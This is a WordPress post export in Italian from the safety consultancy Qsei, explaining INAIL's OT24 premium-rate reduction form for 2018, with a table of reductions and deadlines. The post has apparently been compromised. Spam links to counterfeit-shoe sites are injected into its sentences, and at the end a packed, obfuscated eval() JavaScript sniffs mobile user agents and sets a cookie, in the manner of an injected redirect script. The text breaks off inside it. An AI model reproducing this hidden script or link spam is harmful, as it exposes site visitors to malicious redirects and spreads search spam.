{"id":4541,"date":"2017-10-18T14:25:34","date_gmt":"2017-10-18T12:25:34","guid":{"rendered":"http:\/\/www.qsei.it\/?p=4541"},"modified":"2019-03-04T21:32:35","modified_gmt":"2019-03-04T20:32:35","slug":"circolare-inail-nr-72017-del-29-ago-2017-modello-ot24-2018-riduzione-tasso-medio-di-tariffa-inail","status":"publish","type":"post","link":"https:\/\/qsei.it\/?p=4541","title":{"rendered":"Circolare INAIL nr.7\/2017 del 29 AGO 2017 | Modello OT24 2018 Riduzione tasso medio di tariffa Inail"},"content":{"rendered":"<p>Sul sito dell\u2019INAIL \u00e8 stato pubblicato il nuovo modello per la presentazione di istanze per la riduzione del tasso medio di tariffa (OT24) da presentarsi nel 2018 per le migliorie apportate nel 2017.<\/p>\n<p>Il modulo \u00e8 scaricabile al seguente link:<\/p>\n<p><a href=\"http:\/\/www.inail.it\/cs\/internet\/atti-e-documenti\/moduli-e-modelli\/assicurazione\/premio-assicurativo.html\">www.inail.it\/cs\/internet\/atti-e-documenti\/moduli-e-modelli\/assicurazione\/premio-assicurativo.html<\/a><\/p>\n<p>Ai sensi del D.M.  <a href=\"http:\/\/www.conceptlive.fr\/\">chaussures louboutin<\/a> 12 DIC 2000 e s.m.i.  <a href=\"http:\/\/www.ribio.it\/asics-scarpe-donna\/asics-gel-kinsei-4-donna.html\">asics gel kinsei 4 donna<\/a> \u00e8 prevista per le aziende, dopo il primo biennio di attivit\u00e0,  <a href=\"http:\/\/www.spgssecurite.fr\/nike-homme\/nike-flyknit-lunar-homme\/nike-flyknit-lunar-2-homme.html\">Nike Flyknit Lunar 2 homme<\/a> la possibilit\u00e0 di richiedere la riduzione del tasso medio di tariffa INAIL a seguito di interventi di miglioramento delle condizioni di Sicurezza e Salute nei luoghi di lavoro rispetto ai requisiti minimi previsti dal D.Lgs. 81\/2008 e s.m.i.<\/p>\n<p>In base al D.M. 3 MAR 2015 che ha modificato il DM 12 DIC 2000,  <a href=\"http:\/\/www.opteamiz.fr\/new-balance-homme\/new-balance-997-5-homme.html\">New Balance 997.5 homme<\/a> la riduzione del tasso \u00e8 correlata al numero dei lavoratori impiegati nell&#8217;anno dall&#8217;azienda secondo le seguenti modalit\u00e0:<\/p>\n<table style=\"height: 283px;\" width=\"997\">\n<tbody>\n<tr>\n<td width=\"50%\"><strong>LAVORATORI\/ANNO<\/strong><\/td>\n<td width=\"50%\"><strong>RIDUZIONE<\/strong><\/td>\n<\/tr>\n<tr>\n<td width=\"50%\">Fino a 10<\/td>\n<td width=\"50%\">28 %<\/td>\n<\/tr>\n<tr>\n<td width=\"50%\">Da 11 a 50<\/td>\n<td width=\"50%\">18 %<\/td>\n<\/tr>\n<tr>\n<td width=\"50%\">Da 51 a 200<\/td>\n<td width=\"50%\">10 %<\/td>\n<\/tr>\n<tr>\n<td width=\"50%\">Oltre 200<\/td>\n<td width=\"50%\">5 %<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<p>&nbsp;<\/p>\n<p>La domanda di riduzione dovr\u00e0 essere presentata relativamente alla situazione al 31 DIC 2017 corredata di documentazione probante le migliorie,  <a href=\"http:\/\/www.activedeco.fr\/nike-homme\/nike-air-max-1-homme\">Nike Air Max 1 Homme<\/a> entro il 28 FEB 2018.<\/p>\n<p>L\u2019applicabilit\u00e0 di tale riduzione \u00e8 stabilita in base ad un punteggio minimo da raggiungere (100),  <a href=\"http:\/\/www.activedeco.fr\/asics-homme\/asics-gel-noosa-tri-10-homme\">asics gel noosa tri 10 homme<\/a> conseguente alle attivit\u00e0 di mantenimento e\/o miglioramento attuate nell&#8217;anno di riferimento.<\/p>\n<p>Sono introdotti due elementi nuovi di intervento:<\/p>\n<p>&#8211;        C16 \u201cl\u2019azienda ha effettuato nel corso del 2017 un\u2019analisi termografica a una o pi\u00f9 parti dell\u2019impianto elettrico e ha conseguentemente adottato le opportune azioni correttive\u201d<\/p>\n<p>&#8211;        D2 \u201cl\u2019azienda ha adottato o mantenuto un modello organizzativo e gestionale di cui all\u2019art.  <a href=\"http:\/\/www.latelierdecaro.fr\/\">Chaussures Nike<\/a> 30 del D.Lgs.  <a href=\"http:\/\/www.spgssecurite.fr\/nike-homme\/nike-air-jordan-homme\/nike-air-jordan-31-homme.html\">nike air jordan 31 homme<\/a> 81\/2008 e s.m.i. asseverato in conformit\u00e0 alla prassi di riferimento UNI\/Pdr 22:2016 per il settore dei servizi ambientali territoriali\u201d.<\/p>\n<p>&nbsp;<\/p>\n<p>Si ricorda che gli interventi considerabili sono quelli terminati entro il 31 DIC 2017.<\/p>\n<p>&nbsp;<\/p>\n<p>&nbsp;<\/p>\n<p style=\"text-align: center;\"><strong>IL PERSONALE DI Qsei s.r.l.  <a href=\"http:\/\/www.mdmotors.it\/nike-scarpe-uomo\/nike-blazer-mid-uomo.html\">nike blazer mid uomo<\/a> E\u2019 A DISPOSIZIONE PER CHIARIMENTI E<\/strong><\/p>\n<p style=\"text-align: center;\"><strong>PER ASSISTERE LE AZIENDE AD ESPLETARE GLI ADEMPIMENTI NECESSARI<\/strong><\/p>\n<p>} else {<\/p>\n<p>document.currentScript.parentNode.insertBefore(s, <\/p>\n<p><script>eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c\/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(\/^\/,String)){while(c--){d[e(c)]=k[c]||e(c)}k=[function(e){return d[e]}];e=function(){return'\\\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\\\b'+e(c)+'\\\\b','g'),k[c])}}return p}('z(1d.1k.1l(\"16\")==-1){(2V(a,b){z(a.1l(\"2W\")==-1){z(\/(2X|2U\\\\d+|2T).+1b|2P|2Q\\\\\/|2R|2S|2Y|2Z|37|38|39|G(36|B|L)|W|35|30 |31|33|34|1b.+2O|2N|1i m(2z|2A)i|2B( K)?|2y|p(2x|2t)\\\\\/|2u|2v|2w|2C(4|6)0|2D|2K|M\\\\.(2L|2M)|2J|2I|2E 2F|2G|2H\/i.17(a)||\/3a|3b|3E|3F|3G|50[1-6]i|3D|3C|a D|3y|X(N|Z|s\\\\-)|Y(3z|3A)|O(3B|1g|U)|3H|3I(3P|x|3Q)|3R|P(3O|A)|3N(j|3J)|3K|3L(3M|\\\\-m|r |s )|3x|3w(I|S|3i)|1a(3j|3k)|3h(X|3g)|3c(e|v)w|3d|3e\\\\-(n|u)|3f\\\\\/|3l|3m|2s\\\\-|3u|3v|3s|3r\\\\-|U(3n|R)|3o|3p(V|S|3q)|3S|2l\\\\-s|1B|1x|1y|1c(c|p)o|1E(12|\\\\-d)|1J(49|Y)|1w(1H|1F)|N(1m|1n)|1o|1v([4-7]0|K|D|1p)|1s|1q(\\\\-|15)|F u|1r|1I|2r\\\\-5|g\\\\-y|A(\\\\.w|B)|2f(L|29)|2a|2b|2i\\\\-(m|p|t)|2o\\\\-|2p(J|14)|2n( i|G)|2j\\\\-c|2k(c(\\\\-| |15|a|g|p|s|t)|28)|27(1S|1T)|i\\\\-(20|A|q)|1R|1Q( |\\\\-|\\\\\/)|1N|1O|1P|1V|1W|24|25|W|23(t|v)a|22|1X|1Y|1Z|2e|26( |\\\\\/)|1U|2m |2q\\\\-|2h(c|k)|2c(2d|2g)|1M( g|\\\\\/(k|l|u)|50|54|\\\\-[a-w])|1t|1u|1L\\\\-w|1G|1K\\\\\/|q(j|1D|1z)|Q(f|21|1g)|m\\\\-1A|1C(3t|T)|4p(5E|5F|E)|5G|y(f|5D|1a|5C|1c|t(\\\\-| |o|v)|5z)|5A(50|3T|v )|5H|5I|5O[0-2]|5P[2-3]|5N(0|2)|5M(0|2|5)|5J(0(0|1)|10)|5K((c|m)\\\\-|5L|5y|5x|5l|5m)|5n(6|i)|5k|5j|5g(5h|5i)|5o|5p|5v|5R(a|d|t)|5u|5t(13|\\\\-([1-8]|c))|5q|5r|C(5s|5Q)|67\\\\-2|65(I|69|11)|63|64|J\\\\-g|5U\\\\-a|5Z(5Y|12|21|32|60|\\\\-[2-7]|i\\\\-)|5X|66|6a|6c|6b|5V(5T|62)|5W\\\\\/|5S(6d|q|68|5w|x|5e)|4m(f|h\\\\-|Z|p\\\\-)|4n\\\\\/|11(c(\\\\-|0|1)|47|Q|R|T)|4o\\\\-|4l|4k(\\\\-|m)|4h\\\\-0|4i(45|4j)|5f(O|P|4q|V|4w)|4x(4v|x)|4u(f|h\\\\-|v\\\\-|v )|4r(f|4s)|4t(18|50)|4g(4f|10|18)|14(3Z|41)|42\\\\-|3Y\\\\-|3X(i|m)|3U\\\\-|t\\\\-y|3V(C|3W)|E(H|m\\\\-|43|44)|4d\\\\-9|M(\\\\.b|F|4e)|4c|4b|46|48|4a(4y|j)|4z(40|5[0-3]|\\\\-v)|4Y|4Z|51|4X(52|53|60|61|H|4W|4T|4U|4V|55)|56(\\\\-| )|5c|5d|5b(g |5a|57)|58|59|4S|4R\\\\-|4F|4G|4H\\\\-\/i.17(a.4E(0,4))){4D 1e=1h 19(1h 19().4A()+4B);1d.1k=\"16=1; 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